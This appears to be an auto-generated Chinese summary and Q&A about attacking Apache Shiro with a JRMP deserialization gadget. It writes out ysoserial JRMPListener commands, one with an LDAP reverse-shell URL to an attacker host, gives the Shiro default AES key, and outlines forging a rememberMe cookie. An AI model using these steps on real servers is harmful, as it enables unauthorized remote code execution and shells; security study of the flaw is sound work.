shiro-JRMP-gadget

💡 原文中文,约2500字,阅读约需6分钟。
📝

内容提要

本文演示了利用Shiro框架的JRMP gadget进行攻击的完整流程,包括启动JRMPListener、使用JNDIExploit工具、修改脚本生成rememberMe cookie并发送请求,以及最终实现反弹shell的方法。内容涉及安全漏洞利用技术,属于网络安全领域的攻击演示。

🔎

延伸解读

攻击链核心:JRMP与JNDI的配合

该攻击流程的关键在于利用ysoserial的JRMPListener开启一个恶意的JRMP服务,再通过JNDIExploit提供LDAP服务,最终触发目标应用反序列化漏洞。攻击者需要同时控制两个服务,并确保目标环境能够访问这些服务,因此网络可达性是攻击成功的前提。

Shiro默认密钥的风险

脚本中硬编码的密钥(4AvVhmFLUs0KTA3Kprsdag==)是Shiro框架的默认密钥,若开发者未修改,攻击者可直接构造有效的rememberMe Cookie。这提醒使用Shiro的开发者必须更换默认密钥,并定期审查密钥配置,避免因默认值导致的安全隐患。

工具与环境的兼容性

文中提到某些环境使用Burp发包可能存在问题,建议编写脚本发送请求。这反映了攻击工具在实际环境中的兼容性差异,攻击者需根据目标环境调整发包方式。同时,攻击流程依赖特定版本的ysoserial和JNDIExploit,版本差异可能影响攻击成功率。

Q&A

Shiro框架的JRMP gadget攻击流程是什么?

攻击流程包括:1. 启动JRMPListener监听端口,使用ysoserial生成恶意对象;2. 启动JNDIExploit工具提供LDAP服务;3. 修改脚本中的key和主机IP端口,生成rememberMe cookie;4. 发送包含恶意cookie的HTTP请求;5. 实现反弹shell。

如何利用ysoserial启动JRMPListener?

使用命令:java -cp ysoserial-0.0.6-SNAPSHOT-1.8.3.jar ysoserial.exploit.JRMPListener 8088 CommonsBeanutils2 "ldap://ip:1389/Basic/Command/Whoami",其中8088是监听端口,CommonsBeanutils2是gadget,后面是LDAP地址。

JNDIExploit工具在攻击中起什么作用?

JNDIExploit工具用于启动LDAP服务,为JRMPListener提供恶意引用,从而将攻击载荷传递给目标。

如何生成Shiro的rememberMe cookie?

使用Python脚本,通过AES加密ysoserial生成的JRMPClient payload,密钥为硬编码的base64 key,IV随机生成,最终输出base64编码的cookie。

攻击中使用的Shiro默认密钥是什么?

默认密钥是base64编码的"4AvVhmFLUs0KTA3Kprsdag==",用于AES加密rememberMe cookie。

如何实现反弹shell?

使用命令:java -cp ysoserial-0.0.6-SNAPSHOT-1.8.3.jar ysoserial.exploit.JRMPListener 8088 CommonsBeanutils2 "ldap://{ip}:{port}/Basic/ReverseShell/{ip}/{port}",其中ip和port替换为攻击者主机和监听端口。

发送rememberMe cookie时需要注意什么?

某些环境使用Burp可能存在问题,建议编写脚本发送HTTP请求,确保cookie正确传递。

🏷️

标签

➡️

继续阅读